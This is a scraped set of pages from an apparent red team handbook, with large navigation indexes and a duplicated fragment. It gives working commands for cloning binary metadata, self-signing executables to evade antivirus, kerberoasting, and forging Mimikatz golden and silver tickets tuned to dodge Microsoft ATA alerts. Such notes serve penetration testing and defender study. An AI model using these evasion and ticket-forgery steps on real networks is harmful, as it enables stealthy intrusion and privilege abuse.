stealthyness, create the ticket for like 20 minutes, use the ticket, and instantly destroy the ticket after: Copy kerberos::golden /user:JohnVanwagoner /domain:prod.local /sid:sid /aes256:aes256 /groups:512,513,519 /startoffset:-1 /endin:2500 /renewmax:3000 /ptt [PreviousIntro](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/intro) [NextDomain Dominance](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/domain-dominance) Last updated 5 years ago --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/binary-properties-and-code-signing.md). # Binary Properties and Code Signing Most of your legitimate binaries have some sort of properties attached to them. As we can see with ntdll.dll, we have many properties of this binary which make it seem more legitimate: !\[\](/files/-MhRh7My5BlyaQPtyrW4) But with a freshly compiled binary, we see this: !\[\](/files/-Mi4m3NrMfiW1WAagRLv) We see a lot of empty fields which can be flagged as suspicious behaviour. Making our binary have these fields filled out can make our binary look more legit and pass under the radar more. To fill out the empty fields, we can use resource hacker for this. To do this click on the file tab and open our executable that we want to fill up the empty field with: !\[\](/files/-Midl33sH3T6cU8I-zs3) Then, import the binary you want to clone the module details from by clicking this and then selecting the binary you want to clone: !\[\](/files/-MidlDuvGCHGxVESmQHL) !\[\](/files/-MidjmZIxly7\_t\_T5FRa) Then check off the version info box: !\[\](/files/-MidjrkhSgf5dz3cnl3T) You should now see something like this, you can then modify the descriptions and values to fit whatever you are doing but for now, we are just going to stick with this: !\[\](/files/-MidjxEzMoSgCJ91x7OP) After, we can then click the save button to save our file !\[\](/files/-MidlWxjNujGZZXAa0a\_) Let's then check our the properties of our modified PE file: !\[\](/files/-MidlwTpkJozMCoS0ABJ) tada! We have now filled up the binary properties of our executable The next issue I want to discuss is code signing. Some AV engines may flag unsigned binaries as suspicious due to the fact that most legitimate binaries in windows ten have some code signing already. We can see our PE file does not have a code signing tab in the its properties: !\[\](/files/-MidmqzK6JrOV1OtPYCL) But binaries like ntdll.dll have one: !\[\](/files/-Midn-F8fl4NMif1THpj) To sign a binary, we will need a certificate authority and code-signing certificate. Let's first make the self signed CA: \`\`\` makecert -r -pe -n "CN=Malwr CA" -ss CA -sr CurrentUser -a sha256 -cy authority -sky signature -sv MalwrCA.pvk MalwrCA.cer \`\`\` Then make the self signed Cert: \`\`\` makecert -pe -n "CN=Malwr Cert" -a sha256 -cy end -sky signature -ic MalwrCA.cer -iv MalwrCA.pvk -sv MalwrCert.pvk MalwrCert.cer \`\`\` Convert it to PFX: \`\`\` pvk2pfx -pvk MalwrCert.pvk -spc MalwrCert.cer -pfx MalwrCert.pfx \`\`\` and then sign our binary with it: \`\`\` signtool sign /v /f MalwrCert.pfx /t http://timestamp.verisign.com/scripts/timstamp.dll \`\`\` After executing these commands, we will have a digital signature tab if we look into the executable's properties, confirming that we have successfully signed the file. !\[\](/files/LPyFhABR5qVbedNQpUsO) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion.md). # Defense Evasion - \[Binary Properties and Code Signing\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/binary-properties-and-code-signing.md) - \[ATA/ATP\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp.md) - \[Important Note\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/note.md) - \[Intro\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/intro.md) - \[Lateral Movement\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/lateral-movement.md) - \[Domain Dominance\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/domain-dominance.md) - \[Identification\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/identifying.md) - \[Recon\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/recon.md) - \[Blocking/Disabling Telemetry\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/blocking-disabling-telemetry.md) - \[Trusted Installer\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/blocking-disabling-telemetry/trusted-installer.md) - \[Tips and Tricks\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/tips-and-tricks.md) - \[Basics\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics.md) - \[IOCs\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/iocs.md) - \[High Level Overview of EDR technologies\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/iocs/high-level-overview-of-edr-technologies.md) - \[Sandbox Evasion\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/sandbox-evasion.md) - \[Obfuscating Imports\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/obfuscating-imports.md) - \[Bootstrapping\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/obfuscating-imports/bootstrapping.md) - \[Encrypting Strings\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/encrypting-strings.md) - \[Disabling/Patching Telemetry\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry.md) - \[ETW Bypasses\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/etw-bypasses.md) - \[AMSI Bypasses\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/amsi-bypasses.md) - \[Minimization\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization.md) - \[Commands to Avoid\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/commands-to-avoid.md) - \[Pivoting\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/pivoting.md) - \[Benefits of Using APIs\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/benefits-of-using-apis.md) - \[Thread-less Payload Execution\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/thread-less-payload-execution.md) - \[DLL Hollowing\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/module-stomping.md) - \[Misdirection\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection.md) - \[Command Line Argument Spoofing\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/command-line-argument-spoofing.md) - \[PPID Spoofing via CreateProcess\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/ppid-spoofing-via-createprocess.md) - \[Switching Parents\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/switching-parents.md) - \[Dechaining via WMI\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/switching-parents/ppid-spoofing-via-wmi.md) - \[Hiding our Payloads\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads.md) - \[Event Logs\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/event-logs.md) - \[File metadata\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/file-metadata.md) - \[Registry Keys\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/registry-keys.md) - \[ADS\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/ads.md) - \[IPC For Evasion and Control\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ipc-for-sandbox-evasion-and-organization.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/master.md). # The Red Team Vade Mecum These are my set of notes about various red team topics I've learned throughout my InfoSec journey. I wanted to make this because I learn more when \*trying\* to teach others, which is what I'm kind of trying to do now. Note that all of these techniques are documented elsewhere and I'm not trying to reinvent the wheel or claim ownership in any sort of way. I may make a couple of mistakes here and there so go easy on me. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/lateral-movement.md). # Lateral Movement Most lateral movement techniques like PSexec, PSRemoting, DCOM, and WMIexec are detected only if it's "abnormal traffic." If these technologies are used often by the user, like help desk commonly RDPing to workstations to help fix technical problems, then it will be safe to use that as it is considered "normal behavior." But, there are other more stealthy ways to move laterally apart from using those technologies. ## Over-Pass-The-Hash Using only NTLM hashes to OPTH will be flagged by ATA as an encryption downgrade or unusual protocol implementation. To generate kerberos tickets that will not be flagged, supply NTLM and AES keys and set the lifetime of the ticket to a normal value \`\`\` kerberos::golden /user: /domain: /sid: /aes128: /NTLM: /aes256: /endin:600 /renewmax:300 /ptt \`\`\` Note that you can supply all zeroes for the aes128 key and it will not be flagged. ## SQL Moving laterally through SQL databases is not detected due to the fact that no traffic goes to the DC. All SQL authentication events are local to the server. We can find passwords and hashes of a privileged user, impersonate that user, and go on from there. {% embed url="" %} ## Silver Tickets Using Kerberoasting and Silver Tickets are a good way to move laterally as Kerberoasting blends in with regular traffic and silver tickets have no communication with the DC whatsoever since its a forged TGS. Make sure to slowly kerberoast users as kerberoasting all at once will cause spikes of traffic which may cause alerts. We can slowly enumerate user objects with an SPN, by OU: \`\`\`csharp Get-DomainUser -SPN -SearchBase “ldap://OU=office,DC=...” \`\`\` Then perform recon on groups that have access on various targets of interest: \`\`\`csharp Get-DomainGroup -MemberIdentity \`\`\` And then kerberoast that target if applicable: \`\`\`csharp Get-DomainUser | Get-DomainSPNTicket | fl \* \`\`\` Beware of Honeypot SPNs, factor in last logon, creation date etc. to identify these types of accounts If we successfully crack the hash, we can then create a silver ticket \`\`\` kerberos::golden /user: /domain: /sid: /rc4: /endin:600 /renewmax:300 /service: /target: /ptt \`\`\` ## Modification of Sensitive groups If any of these sensitive groups are modified(like adding an account or changing passwords), These will be flagged for abnormal activity. !\[\](/files/-MgseOi\_yaic\_o0wpO9M) As a result, we can target other privileged groups like SQL admins or Help desk users. ## Golden Tickets The same logic applies to silver tickets to golden tickets as well, if we only supply the NTLM hash, it will be flagged as an encryption downgrade. To subvert this, include all AES keys, note that if the length of the ticket is alive for more than 8 hours than its use, it is going to be flagged. So for extra stealthyness, create the ticket for like 20 minutes, use the ticket, and instantly destroy the ticket after: \`\`\` kerberos::golden /user:JohnVanwagoner /domain:prod.local /sid:sid /aes256:aes256 /groups:512,513,519 /startoffset:-1 /endin:2500 /renewmax:3000 /ptt \`\`\` --- # Unknown \# The Red Team Vade Mecum ## The Red Team Vade Mecum - \[The Red Team Vade Mecum\](https://kwcsec.gitbook.io/the-red-team-handbook/master.md) - \[Defense Evasion\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion.md) - \[Binary Properties and Code Signing\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/binary-properties-and-code-signing.md) - \[ATA/ATP\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp.md) - \[Important Note\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/note.md) - \[Intro\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/intro.md) - \[Lateral Movement\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/lateral-movement.md) - \[Domain Dominance\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/domain-dominance.md) - \[Identification\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/identifying.md) - \[Recon\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/recon.md) - \[Blocking/Disabling Telemetry\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/blocking-disabling-telemetry.md) - \[Trusted Installer\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/blocking-disabling-telemetry/trusted-installer.md) - \[Tips and Tricks\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/tips-and-tricks.md) - \[Basics\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics.md) - \[IOCs\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/iocs.md) - \[High Level Overview of EDR technologies\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/iocs/high-level-overview-of-edr-technologies.md) - \[Sandbox Evasion\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/sandbox-evasion.md) - \[Obfuscating Imports\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/obfuscating-imports.md) - \[Bootstrapping\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/obfuscating-imports/bootstrapping.md) - \[Encrypting Strings\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/encrypting-strings.md) - \[Disabling/Patching Telemetry\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry.md) - \[ETW Bypasses\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/etw-bypasses.md) - \[AMSI Bypasses\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/amsi-bypasses.md) - \[Minimization\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization.md) - \[Commands to Avoid\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/commands-to-avoid.md) - \[Pivoting\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/pivoting.md) - \[Benefits of Using APIs\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/benefits-of-using-apis.md) - \[Thread-less Payload Execution\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/thread-less-payload-execution.md) - \[DLL Hollowing\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/module-stomping.md) - \[Misdirection\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection.md) - \[Command Line Argument Spoofing\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/command-line-argument-spoofing.md) - \[PPID Spoofing via CreateProcess\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/ppid-spoofing-via-createprocess.md) - \[Switching Parents\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/switching-parents.md) - \[Dechaining via WMI\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/misdirection/switching-parents/ppid-spoofing-via-wmi.md) - \[Hiding our Payloads\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads.md) - \[Event Logs\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/event-logs.md) - \[File metadata\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/file-metadata.md) - \[Registry Keys\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/registry-keys.md) - \[ADS\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/ads.md) - \[IPC For Evasion and Control\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ipc-for-sandbox-evasion-and-organization.md) - \[Privilege Escalation\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation.md) - \[Hunting For Passwords\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hunting-for-passwords.md) - \[To System\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system.md) - \[New Service\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/new-service.md) - \[Named Pipe Impersonation\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/named-pipe-impersonation.md) - \[Local Exploits\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/local-exploits.md) - \[AlwaysInstallElevated\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/alwaysinstallelevated.md) - \[Hijacking Execution\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hijacking-execution.md) - \[Environment Variable interception\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hijacking-execution/environment-variable-interception.md) - \[DLL Hijacking\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/hijacking-execution/dll-hijacking.md) - \[Insecure Permissions\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions.md) - \[Missing Services and Tasks\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/missing-services-and-tasks.md) - \[Misconfigured Registry Hives\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/misconfigured-registry-hives.md) - \[Insecure Binary Path\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/insecure-binary-path.md) - \[Unquoted Service Paths\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/unquoted-service-paths.md) - \[Enumeration\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration.md) - \[Situational Awareness\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/situational-awareness.md) - \[Recon Commands\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands.md) - \[.NET AD Enum commands\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/.net-ad-enum-commands.md) - \[WMIC commands\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/wmic-commands.md) - \[WMI queries from c++\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration/recon-commands/wmic-commands/wmi-queries-from-c++.md) - \[Execution\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/execution.md) - \[Cool ways of Calling a Process\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/execution/cool-ways-of-calling-a-process.md) - \[One Liners\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/execution/one-liners.md) - \[Initial Access\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access.md) - \[Tips and Tricks\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/tips-and-tricks.md) - \[Tools\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/tools.md) - \[Staging/Stagers\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/staging-stagers.md) - \[MS Office\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office.md) - \[Macros\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros.md) - \[Evasion\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/evasion.md) - \[VBA Stomping\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/evasion/vba-stomping.md) - \[Revert To Legacy Warning in Excel\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/evasion/revert-to-legacy-warning-in-excel.md) - \[Sandbox Evasion\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/evasion/sandbox-evasion.md) - \[Info Extraction\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction-1.md) - \[Inline Shapes\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/inline-shapes.md) - \[.MAM Files\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/.mam-files.md) - \[PowerPoint\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/powerpoint.md) - \[ACCDE\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/accde.md) - \[Shellcode Execution\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/shellcode-execution.md) - \[Info Extraction\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction.md) - \[Dechaining Macros\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros.md) - \[Field Abuse\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/field-abuse.md) - \[DDE\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/dde.md) - \[Payload Delivery\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/payload-delivery.md) - \[File Formats\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats.md) - \[MSG\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/msg.md) - \[RTF\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/rtf.md) - \[REG\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/reg.md) - \[BAT\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/bat.md) - \[MSI Files\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/msi-files.md) - \[IQY\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/iqy.md) - \[CHM\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/chm.md) - \[LNK\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/lnk.md) - \[Using LNK to Automatically Download Payloads\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/lnk/using-lnk-to-automatically-download-payloads.md) - \[HTA\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/hta.md) - \[Lateral Movement\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement.md) - \[Linux\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/linux.md) - \[SSH Hijacking\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/linux/ssh-hijacking.md) - \[RDP\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/linux/rdp.md) - \[Impacket\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/linux/impacket.md) - \[No Admin?\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/no-admin.md) - \[Checking for access\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/checking-for-access.md) - \[Poison Handler\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/poison-handler.md) - \[WinRM\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/winrm.md) - \[AT\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/at.md) - \[PsExec\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/psexec.md) - \[WMI\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/wmi.md) - \[Service Control\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/service-control.md) - \[DCOM\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/dcom.md) - \[RDP\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/rdp.md) - \[SCShell\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/scshell.md) - \[Code Injection\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection.md) - \[Hooking\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/hooking.md) - \[Detours\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/hooking/detours.md) - \[CreateRemoteThread\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/createremotethread.md) - \[DLL Injection\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/dll-injection.md) - \[APC Queue Code Injection\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/apc-queue-code-injection.md) - \[Early Bird Injection\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/early-bird-injection.md) - \[Persistence\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence.md) - \[Scheduled Tasks\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/scheduled-tasks.md) - \[AT\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/scheduled-tasks/at.md) - \[MS Office\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/ms-office.md) - \[SQL\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/sql.md) - \[Admin Level\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level.md) - \[SSP\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/ssp.md) - \[Services\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/services.md) - \[Default File Extension\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/default-file-extension.md) - \[AppCert DLLs\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/appcert-dlls.md) - \[Time Provider\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/time-provider.md) - \[Waitfor\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/waitfor.md) - \[WinLogon\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/winlogon.md) - \[Netsh Dlls\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/netsh-dlls.md) - \[RDP Backdoors\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/rdp-backdoors.md) - \[AppInit Dlls\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/appinit-dlls.md) - \[Port Monitor\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/port-monitor.md) - \[WMI Event Subscriptions\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/wmi-event-subscriptions.md) - \[User Level\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level.md) - \[LNK\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/lnk.md) - \[Startup Folder\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/startup-folder.md) - \[Junction folders\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/junction-folders.md) - \[Registry Keys\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/registry-keys.md) - \[Logon Scripts\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/logon-scripts.md) - \[Powershell Profiles\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/powershell-profiles.md) - \[Screen Savers\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/screen-savers.md) - \[SQL\](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql.md) - \[MS SQL\](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql.md) - \[Basics\](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/basics.md) - \[Finding Sql Servers\](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/finding-sql-servers.md) - \[Privilege Escalation\](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation.md) - \[Post Exploitation\](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/post-exploitation.md) - \[Vulnerability Discovery\](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery.md) - \[Web Vulnerabilities\](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery/web-vulnerabilities.md) - \[Code Grepping\](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery/web-vulnerabilities/code-grepping.md) - \[PHP Cheatsheet\](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery/web-vulnerabilities/code-grepping/php-cheatsheet.md) - \[Windows Internals\](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals.md) - \[Unorganized 